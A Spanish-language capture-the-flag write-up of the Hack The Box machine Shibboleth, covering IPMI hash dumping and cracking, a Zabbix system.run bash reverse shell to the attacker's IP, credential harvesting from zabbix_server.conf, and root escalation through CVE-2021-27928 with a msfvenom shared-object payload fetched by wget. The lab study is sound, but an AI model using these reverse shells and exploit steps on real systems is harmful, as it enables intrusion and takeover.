Security Layer
Research Articles ๐Ÿ”Ž๐ŸŽต๐Ÿ‘ฝGitHub
  • Bienvenido a Security Layer
  • ๐Ÿ‘พHack The Box
    • ๐Ÿ‘พHACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • ๐Ÿ‘พTry Hackme
    • ๐Ÿ‘พTRY HACKME
    • Attacking Kerberos
  • ๐Ÿ› ๏ธTools
    • ๐Ÿ› ๏ธTools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • โš ๏ธScripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • Enumeraciรณn de puertos/servicios TCP y UDP
  • Enumeraciรณn Web
  • Cracking Hash
  • Movimiento lateral (Zabbix โž ipmi-svc)
  • Escalada de Privilegios (MySQL Exploitation) CVE-2021-27928

Shibboleth

Dificultad: Medium - OS: Linux

Enumeraciรณn de puertos/servicios TCP y UDP

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB]
โ””โ”€# nmap -sCV --open -T4 -v -n 10.10.11.124

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://shibboleth.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: shibboleth.htb
โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# nmap -sCVU --open -T4 -v -n 10.10.11.124

PORT      STATE         SERVICE     VERSION
42/udp    open|filtered nameserver
623/udp   open          asf-rmcp
1043/udp  open|filtered boinc
1046/udp  open|filtered wfremotertm
3130/udp  open|filtered squid-ipc
3659/udp  open|filtered apple-sasl
๐Ÿ“ŒParรกmetros
  • sCVU:

    • -sC โ†’ Ejecuta scripts de detecciรณn predeterminados โ†’ Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan informaciรณn adicional en los puertos abiertos.

    • -sV โ†’ Detecciรณn de versiones โ†’ Intenta identificar el software y su versiรณn en los puertos abiertos.

    • -sU โ†’ Escanea puertos UDP

  • -n โ†’ No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open โ†’ Muestra solo puertos abiertos โ†’ Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4 โ†’ Ajusta la velocidad del escaneo โ†’ T4 es un nivel "agresivo" que acelera el escaneo, รบtil en redes rรกpidas.

  • -v โ†’ Modo verbose โ†’ Muestra mรกs detalles sobre el progreso del escaneo.

๐Ÿ“Œ ยฟQuรฉ es el puerto 623/UDP?
  • Puerto 623/UDP es el puerto estรกndar utilizado por el protocolo ASF-RMCP, que forma parte del conjunto de tecnologรญas asociadas a IPMI (Intelligent Platform Management Interface).

  • Este puerto estรก normalmente abierto en servidores que tienen capacidades de gestiรณn remota a nivel de hardware, tรญpicamente mediante un BMC (Baseboard Management Controller).

  • ASF (Alert Standard Format) es un estรกndar desarrollado por la Distributed Management Task Force (DMTF) para permitir la gestiรณn remota de hardware, incluso cuando el sistema operativo estรก apagado o inoperativo.

  • RMCP (Remote Management and Control Protocol) es parte de este estรกndar y se comunica sobre el puerto UDP 623.

ยฟQuรฉ es IPMI y cรณmo se relaciona con este protocolo?

IPMI (Intelligent Platform Management Interface) es un estรกndar que permite:

  • Supervisar el estado del sistema (temperaturas, voltajes, ventiladores, etc.)

  • Encender/apagar/reiniciar servidores de forma remota.

  • Ver logs de eventos de hardware.

  • Conectarse a la consola remota (tipo KVM sobre IP).

๐Ÿ‘‰ IPMI usa RMCP como parte de su mecanismo de transporte para enviar mensajes entre el administrador y el BMC (Baseboard Management Controller).

Agregamos el dominio a nuestro /etc/hosts

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# echo "10.10.11.124    shibboleth.htb" >> /etc/hosts

Enumeraciรณn Web

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€#  ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb/ -H "Host: FUZZ.shibboleth.htb" -fw 18


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://shibboleth.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.shibboleth.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________

monitor                 [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 430ms]
monitoring              [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 242ms]
zabbix                  [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 237ms]
๐Ÿ“ŒDesglose del comando
  • -u http://dominio.com: Dominio al que se hacen las peticiones. Aunque el fuzzing se hace sobre la cabecera, se necesita una URL base.

  • -H 'Host: FUZZ.dominio.com': Aquรญ se usa el encabezado HTTP Host, que es donde se hace el fuzzing para encontrar subdominios. FUZZ serรก reemplazado por palabras de la wordlist.

  • -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt: Diccionario de subdominios, en este caso con los 5000 mรกs comunes.

  • -fw 18: Filtro por longitud de palabras en la respuesta. En este caso, si una respuesta tiene exactamente 18 palabras, se ignora, porque seguramente es una pรกgina genรฉrica como "dominio no encontrado" o "error 404".

Agregamos el subdominio y nos vamos a encontrar con un panel de login de Zabbix.

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# echo "10.10.11.124    zabbix.shibboleth.htb" >> /etc/hosts

Si no conoces esta herramienta de monitoreo te recomiendo leer el siguiente artรญculo:

Como no tenemos las credenciales para entrar al dashboard de Zabbix vamos a aprovechar que estรก el puerto 623 abierto para buscar algรบn hash IPMI con el siguiente mรณdulo de msfconsole. Este mรณdulo de Metasploit se utiliza para extraer hashes de autenticaciรณn de un servicio IPMI expuesto en un host.

msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.10.11.124
rhosts => 10.10.11.124
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > exploit
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:0bcab049820100008bb18de98ee9fddacd95f14ef80ae76551753d7151fab21c6bd64f97e6e75fc4a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:7f8d97b5d131cb88c259472811cbf22a39047302
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

use auxiliary/scanner/ipmi/ipmi_dumphashes โ†’ seleccionamos el mรณdulo. Este mรณdulo escanea una IP y se comunica con el BMC (Baseboard Management Controller) del sistema, el cual se comunica por UDP puerto 623 usando el protocolo RMCP/IPMI. set rhosts 10.10.11.124 โ†’ seteamos la ip del target

Cracking Hash

Conseguimos un hash para crackear con hashcat, antes debemos guardarlo en un archivo.txt:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# hashcat -m 7300 hash.txt /usr/share/wordlists/rockyou.txt

Las credenciales son Administrator:ilovepumkinpie1 Ahora si podemos ingresar al dashboard de Zabbix

Movimiento lateral (Zabbix โž ipmi-svc)

Bรกsicamente lo que hay que hacer es ir a Configuration > Hosts > Items > Create item y alli usar el elemento system.run[ ] para agregar el comando que mandara la conexiรณn a nuestro equipo atacante

Solamente seteamos el valor Name y Key. En Key vamos a agregar este comando (en ip_atacante ponen la ip de su equipo y en port_listener el puerto de escucha que van a usar con netcat):

system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/ip_atacante/port_listener 0>&1",nowait]

Usamos Add para aรฑadir el item y levantamos el listener en kali (la conexiรณn entrante va a tardar unos minutos):

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# nc -lnvp 4444 
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.124] 39056
bash: cannot set terminal process group (915): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@shibboleth:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"

Para que no se corte la conexiรณn vamos a usar este comando que nos da una sesiรณn mรกs estable e interactiva:

python3 -c "import pty;pty.spawn('/bin/bash')"
  • python3 -c: Ejecuta un comando corto directamente desde la lรญnea de comandos con Python 3.

  • "import pty; pty.spawn('/bin/bash')": Este pequeรฑo script de Python hace lo siguiente:

    • import pty: importa el mรณdulo pty de Python, que permite manipular pseudo-terminales.

    • pty.spawn('/bin/bash'): crea un pseudo-terminal interactivo para ejecutar /bin/bash.

Otra opciรณn para obtener una shell mรกs completa es con los siguientes comandos (esta opciรณn tiene mรกs lag):

1-.script /dev/null -c bash 2-.Pulsamos CTRL+Z 3-.stty raw -echo; fg 4-.reset xterm 5-.export TERM=xterm SHELL=bash 6-.stty rows 14 columns 135

El paso siguiente es buscar mรกs usuarios en el sistema y para ello vamos a utilizar dos comandos claves en la etapa de recoleccion de informacion:

๐Ÿ“ŒComandos
cat /etc/passwd | grep -e 'sh'

Este comando lista las entradas del archivo /etc/passwd que contienen "sh" en cualquier parte de la lรญnea.

๐Ÿ” Este puede coincidir con:

  • /bin/bash

  • /usr/sbin/nologin

  • /usr/bin/esh

  • y otras cosas que contengan "sh", aunque no sean shells vรกlidas.

grep "sh$" /etc/passwd

Este es mรกs preciso. Busca lรญneas que terminan con "sh", lo cual generalmente indica usuarios con shell vรกlida.

zabbix@shibboleth:/usr$ cat /etc/passwd | grep -e 'sh'
cat /etc/passwd | grep -e 'sh'
root:x:0:0:root:/root:/bin/bash
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
zabbix@shibboleth:/usr$ grep "sh$" /etc/passwd
grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
zabbix@shibboleth:/usr$ su ipmi-svc
su ipmi-svc
Password: ilovepumkinpie1
ipmi-svc@shibboleth:/usr$ locate user.txt
locate user.txt
locate: warning: database โ€˜/var/cache/locate/locatedbโ€™ is more than 8 days old (actual age is 1286.7 days)
/home/ipmi-svc/user.txt
ipmi-svc@shibboleth:/usr$ cat /home/ipmi-svc/user.txt
cat /home/ipmi-svc/user.txt    
81b7c***************************

Encontramos al usuario ipmi-svc y reutilizamos la contraseรฑa de Zabbix para entrar a su sesiรณn: ilovepumkinpie1

Ahora podemos chequear, por ejemplo, cuรกles son las conexiones de red activas y los puertos en escucha

ipmi-svc@shibboleth:/$ netstat -tnlp            
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:10050           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:10051           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::10050                :::*                    LISTEN      -                   
tcp6       0      0 :::10051                :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -     

Parametros de netstat:

  • -t: muestra conexiones TCP

  • -u: muestra conexiones UDP (opcional)

  • -n: muestra direcciones IP y puertos en formato numรฉrico (sin resoluciรณn DNS)

  • -l: muestra solo sockets en escucha (listening)

  • -p: muestra el PID y el nombre del proceso que estรก usando el socket

Estรก el puerto 3306 abierto en localhost, esto quiere decir que hay una base de datos interna donde podrรญamos encontrar mรกs usuarios y credenciales. Como se trata de una mรกquina que usa Zabbix lo mรกs lรณgico es que en el archivo zabbix_server.conf encontremos las credenciales para ingresar a la base de datos:

ipmi-svc@shibboleth:/usr$ cat /etc/zabbix/zabbix_server.conf | grep DBPassword
cat /etc/zabbix/zabbix_server.conf | grep DBPassword
### Option: DBPassword
DBPassword=bloooarskybluh
ipmi-svc@shibboleth:/usr$ cat /etc/zabbix/zabbix_server.conf | grep DBUser    
cat /etc/zabbix/zabbix_server.conf | grep DBUser
### Option: DBUser
# DBUser=
DBUser=zabbix

Efectivamente estรกn allรญ las credenciales, esto es algo que siempre se puede encontrar por defecto si el servidor fue instalado y configurado por default, para ver esto en detalle podes leer el siguiente artรญculo:

Escalada de Privilegios (MySQL Exploitation) CVE-2021-27928

Notamos que, al chequear la versiรณn del mysql, este posee una vulnerabilidad ya registrada: CVE-2021-27928

ipmi-svc@shibboleth:/usr$ mysql --version
mysql --version
mysql  Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
๐Ÿ“ŒCVE-2021-27928

CVE-2021-27928 es una vulnerabilidad que afecta a MariaDB, relacionada con la forma en que se puede establecer la configuraciรณn del parรกmetro global:

SET GLOBAL wsrep_provider = "/ruta/a/archivo.so";

ยฟQuรฉ hace esta vulnerabilidad?

Permite a un usuario no privilegiado, que solo tiene acceso a la base de datos (por ejemplo, el usuario zabbix), cargar una librerรญa compartida maliciosa (.so) en el motor de la base de datos usando Galera (wsrep).

ร‰sa librerรญa puede contener cรณdigo arbitrario que se ejecuta con permisos del proceso del servidor MySQL/MariaDB.

ยฟPor quรฉ es grave?

Porque rompe la seguridad del modelo de privilegios: un usuario que no tiene permisos para ejecutar cรณdigo en el sistema, ahora puede hacerlo usando solo SQL, lo que normalmente no deberรญa pasar.

ยฟPor que wsrep_provider?

wsrep_provider es una variable global de MariaDB que indica la librerรญa que implementa el soporte para replicaciรณn Galera.

Pero si se puede cambiar libremente, tambiรฉn puede usarse para cargar una librerรญa que no tenga nada que ver con Galera, sino que solo tenga cรณdigo malicioso, como un payload.

Para explotar esta vulnerabilidad y obtener una nueva reverse shell desde mysql vamos a seguir estos pasos:

1) Seteamos un Payload con la extensiรณn .so en msfvenom con nuestra IP y el puerto que estarรก en escucha:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=8888 -f elf-so -o shell.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: shell.so

2) Levantamos un servidor desde el directorio donde se encuentra el payload

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# php -S 10.10.14.7:8000     
[Wed Apr 23 23:53:40 2025] PHP 8.4.5 Development Server (http://10.10.14.7:8000) started
[Wed Apr 23 23:54:11 2025] 10.10.11.124:46002 Accepted
[Wed Apr 23 23:54:11 2025] 10.10.11.124:46002 [200]: GET /shell.so
[Wed Apr 23 23:54:11 2025] 10.10.11.124:46002 Closing

3) Descargamos el payload desde el equipo objetivo (chequear que nos encontramos en el directorio del usuario ipmi-svc)

ipmi-svc@shibboleth:/$ cd /home/ipmi-svc
ipmi-svc@shibboleth:~$ pwd
/home/ipmi-svc
ipmi-svc@shibboleth:~$ wget http://10.10.14.7:8000/shell.so
--2025-04-24 04:47:22--  http://10.10.14.7:8000/shell.so
Connecting to 10.10.14.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 476 [application/octet-stream]
Saving to: โ€˜shell.soโ€™

shell.so                            0%[                                                      shell.so                          100%[============================================================>]     476  --.-KB/s    in 0s      

2025-04-24 04:47:22 (49.7 MB/s) - โ€˜shell.soโ€™ saved [476/476]

ipmi-svc@shibboleth:~$ ls
shell.so  user.txt

Nos ponemos en escucha con netcat desde el equipo kali y, en el equipo objetivo ingresamos a la base de datos con las credenciales zabbix:bloooarskybluh y activamos el payload con el comando vulnerable: SET GLOBAL wsrep_provider="";

ipmi-svc@shibboleth:~$ mysql -u zabbix -p -D zabbix
Enter password: bloooarskybluh
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 406
Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [zabbix]> SET GLOBAL wsrep_provider="/home/ipmi-svc/shell.so";
ERROR 2013 (HY000): Lost connection to MySQL server during query

Y asi logramos capturar la sesiรณn de root:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SHIBBOLETH]
โ””โ”€# nc -lnvp 8888
listening on [any] 8888 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.124] 53430
whoami
root
python3 -c "import pty;pty.spawn('/bin/bash')"
root@shibboleth:/var/lib/mysql# cat /root/root.txt
cat /root/root.txt             
914679**************************

Last updated 10 days ago

En la pรกgina web no hay nada relevante, pero si fuzzeamos subdominios con vamos a encontrar algunas cosas interesantes:

Para la reverse shell nos vamos a guiar del siguiente articulo

ffuf
Zabbix: Plataforma de Monitoreo Abierto para Infraestructuras Crรญticas
https://blog.zabbix.com/zabbix-remote-commands/7500/
Zabbix Server Installer